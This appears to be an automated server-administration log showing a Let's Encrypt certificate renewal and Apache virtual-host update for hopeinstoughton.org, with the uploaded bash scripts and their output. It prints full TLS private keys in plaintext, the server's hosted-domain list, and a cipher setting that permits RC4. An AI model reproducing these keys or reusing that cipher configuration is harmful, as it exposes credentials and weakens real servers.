GUFm46IRufsCgYEArqrf9rjJASKGrKW3ln3STl6vI/eeWPiDrJzAmLV0LSBYkEeP
7t31TvIjjUCZMDlK54W2yebw9C77VUbk/E3dMI3wmB2890YljUoo3msYO4soZcoO
cBZRjhl8f0ecFwuGHkh8dUCmYqJmbJfyrrheeJmykHtvARYmJqsPUmXmIdECgYEA
r5M4gwJACoskyuntlo6ahdO/1qcMP7xhC1S1bMyrqnDIoT6km3lNaCj3OlaDibq9
Ac5Z/1EI5OCfsxbrQTjBAeLav4EZp6z56CGil8S1Juec7v4iCU6eqwbI467g7mak
rZJtsMXyhLvVBHDzdeopy7Z/0ko3PAUlsIbN7g4+zpECgYB/s+G9YasxKJraEIRl
v7ZRt8SrJ5xhgUeamYKVA4FsZfiyHBbtNRwJqA+G7/yqsXkvhAViqPNh4CcM6EJF
mHeHouxtJRo5efxKYsbkhTH/TiYOUvdt8ODpXWspB0xUKemdtVIHz5ej+LQmyhB+
HbOZ65+yXpoIjuHeiXQH7tDnpw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-10 06:00:03: Establishing a connection
2025-10-10 06:00:05: Establishing a connection
2025-10-10 06:00:06:
PUT: /tmp/pkp369016
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-10 06:00:06:
chmod 755 /tmp/pkp369016; /tmp/pkp369016; rm /tmp/pkp369016
2025-10-10 06:00:07:
0
2025-10-11 06:00:03: Establishing a connection
2025-10-11 06:00:03: Establishing a connection
2025-10-11 06:00:03:
PUT: /tmp/pkp424150
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-11 06:00:05:
chmod 755 /tmp/pkp424150; /tmp/pkp424150; rm /tmp/pkp424150
2025-10-11 06:00:05:
1
2025-10-11 06:00:06: Establishing a connection
2025-10-11 06:00:06:
PUT: /tmp/pkp798819
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU
cat > NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg
2025-10-11 06:00:06:
chmod 755 /tmp/pkp798819; /tmp/pkp798819; rm /tmp/pkp798819
2025-10-11 06:00:06:
2025-10-11 06:00:16: Establishing a connection
2025-10-11 06:00:16:
PUT: /tmp/pkp511987
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU
rm NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg
2025-10-11 06:00:16:
chmod 755 /tmp/pkp511987; /tmp/pkp511987; rm /tmp/pkp511987
2025-10-11 06:00:16:
2025-10-11 06:00:16: Establishing a connection
2025-10-11 06:00:16:
PUT: /tmp/pkp761648
#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt
cat > $temp_file <<'endmsg'
c4:de:3f:44:3c:4d:a5:6f:e6:f4:e4:13:25:dc:57:ae
-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBuKnJPp9Bure2li15NulLSrwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTQ1WhcNMjYwMTA5MDUwMTQ0WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2rkFpWVmi81BBBsWOCf/KFqp0c1CnShI2kYkB/J8p7HuOCulWMHJUgDS
sdRYtrw0l9pQVDCEMlUnpToVNSTs0QlDz75YDtbv5niQHMgjaAvCDloZ2kBqKzGN
gKHhYXWYqg+d69VqsonDaMcGxxhC4Kg4zqn9AAsTOFlyaVFEc7fFGTMaD7+xvP48
UUepS0hAy+Eulk+ZDVZtRp44Erb81Xh5WK/I0THPKEIHUtqXriZcr/s/p3iQxWsM
Fl+u8ZEZvH4gAf1Eo8R692oCHjXlKOzXu5yVU2V7dD0tdDEPbWHW8c+ObWYo6PdQ
3pzZG4rbP1depezljX4d+Q50WjdAzQIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQZzYZoovigkJUs4vu5UUFbifBu4zAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEz
LmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMs49xWJfIShRF9bwd37yW7y
mlnNRwppBYWwyxTDFFjnAAABmdHbBWsAAAQDAEgwRgIhAO7tM+lvVXAM2OL6eAWG
VxxT34ScUSq2V5BPRazVtHmJAiEA4EQndG6bNSAofgv6iofsWg9KRVdKHhoNdxWL
l7xPsaQAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZnR2wVf
AAAEAwBGMEQCIAkOeaPMaABGBw+5W/YgpCGg1waUSHYkj2eUZHEdUwarAiA3iVcG
q8t0RdIgcPqlTa7r42xbWtIlquWzj4rCDLuYnTANBgkqhkiG9w0BAQsFAAOCAQEA
cqxSY40pIGT4I5wK+H9d6rHmCtld0lm71a7/Wz4bREWD9tmmcr2Pfk+CT4T9lN/O
ydKhvZP8Ytbg3LfaWgm7JbJAv96lCI3JozOhMb7TadrouVLriQCDj+nbVkkBpigy
U9PjmB1POp1Sk2a7A+NJwqMO7VEaS5CoT82W3Fh6jOfstWCIVeUCzqpM9MCoJOc1
Sy4x9XDWewYLX3Rn+cXoKBKHWivZ6/ODPo4djvxLXtb8iBxXCK6ZwHibiylbMM1i
zAFnLxrf8HJY1d5NZopW2HR2aedZNPRsiqjCOGXuzzQIkl/kiEVdwaI8Bl3GgFAO
SXf8AsBDKzOEwSgvlrSKWA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDauQWlZWaLzUEE
GxY4J/8oWqnRzUKdKEjaRiQH8nynse44K6VYwclSANKx1Fi2vDSX2lBUMIQyVSel
OhU1JOzRCUPPvlgO1u/meJAcyCNoC8IOWhnaQGorMY2AoeFhdZiqD53r1WqyicNo
xwbHGELgqDjOqf0ACxM4WXJpUURzt8UZMxoPv7G8/jxRR6lLSEDL4S6WT5kNVm1G
njgStvzVeHlYr8jRMc8oQgdS2peuJlyv+z+neJDFawwWX67xkRm8fiAB/USjxHr3
agIeNeUo7Ne7nJVTZXt0PS10MQ9tYdbxz45tZijo91DenNkbits/V16l7OWNfh35
DnRaN0DNAgMBAAECggEAEs8+kQ67VuJ76OJ7crDd3JaPbB9+zw0b1smZZ6WO2s0O
c34tZgikS40OkYR1bKGa1ERODC9v7vQryKXKFRvr0b4+Oqtf30bUsrlDi3YatWPt
eFZ/Sqmnd7d3N8y0GTGHw3g8WH+uAVSfnW8gQhbwCWnuGLe9rjdFm971W+FFRb4r
WTlWlzUBXMzcoracCQnWuePQehkcPQjUdVDXM+MEyMpxn4YvsSrTlk0KajgNgGN0
kMFyaQkIw5Spn89RxoaHQYbn3/dkizHVTdHwthV3k1d6S+sEGUtWalPJRM4C8Nbx
DAOx5paB05PaQqWeZtc1c9D2trYDFWpZ6DE9kNpr8QKBgQDz7OMwmqT5mH54+C/Q
DjV6sAB2I9a8vzGLatd/5dUFzcPO1MT99mXDTgITGlGGIGuKtOOGKqo/tqIvflXk
Kza5YDFDj2zsnDM4ghjijR5x7b4GkxQSGnaND9rwKQxJdlrnIblfXcAKRK/QvFg/
H6lDzJEF9WnKEnZJVhU/2POL+wKBgQDljMIFaa0ih8gxG4jqg9jTYnCCwxHrGzj7
YRO7aaXLnXPgBjJp3K5ljkZ2WAmJFcV/HvnIovxiSlBY2QpD4K8k8hh4kdj/EOhE
G/XM5ajoYkn++LB7wlDf9osjSP7+VzyhjV9/zyF3waL9Bb+OssTfFAFHzqO62RSU
YoM1f/5D1wKBgQDBPlp+lwU79+O6UmUOnzMfD3BOJ/ZncdD+cpZnbN1my6zknwux
ZxMXtyVNnPwZFnYcXVIjaImYEEhM9/lz2ghwtBRTQb05dkXd7rNoSARmncJ90ueD
sBNbjcQVn29sg6dglQcW1l7dw6zF4XDIEX03iUkbP2GgBSBQ2THcczP/IQKBgQC6
WGQBJOKKD5QyWVnylwnjwBv56wWWyEifuRTdpUwUWUOB70Xprl5czvzggWNsR6JG
Kg04FSexWwaSuc6df75uzaGT70Iq/byv3crShPVzgKb1N0l9jic9SNV21YE7U/JC
a5PFG47duvHnWU1COFmdho3rjxJXUnZkZvyA5+CvjQKBgDdhf54VnGbA9KpqtBnr
0LJBQneq6myAaMfW1RxDNXugmlCLBJ5pSBBz+ms5zyZ/amvW16oOeI9xCUuVNueH
4h47P9/eH37OnME741Imh6l2+mjUiQIPUn3dDFcJFIFv33U/Sg14Qp3/aRECtMvS
R+ujwTNVCVGbfkltjn0vIqgh
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-11 06:00:16:
chmod 755 /tmp/pkp761648; /tmp/pkp761648; rm /tmp/pkp761648
2025-10-11 06:00:16:
dir=/etc/ssl/certs
2025-10-11 06:00:16:
PUT: /tmp/pkp375345
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-11 06:00:16:
chmod 755 /tmp/pkp375345; /tmp/pkp375345; rm /tmp/pkp375345
2025-10-11 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.php index.html index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-10-11 06:00:16:
PUT: /tmp/pkp715138
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.php index.html index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi
2025-10-11 06:00:16:
chmod 755 /tmp/pkp715138; /tmp/pkp715138; rm /tmp/pkp715138
2025-10-11 06:00:16:
2025-10-11 06:00:16:
PUT: /tmp/pkp399917
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-11 06:00:16:
chmod 755 /tmp/pkp399917; /tmp/pkp399917; rm /tmp/pkp399917
2025-10-11 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:00:17: Establishing a connection
2025-10-11 06:00:17:
PUT: /tmp/pkp455745
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-11 06:00:17:
chmod 755 /tmp/pkp455745; /tmp/pkp455745; rm /tmp/pkp455745
2025-10-11 06:00:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:00:17:
PUT: /tmp/pkp325376
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
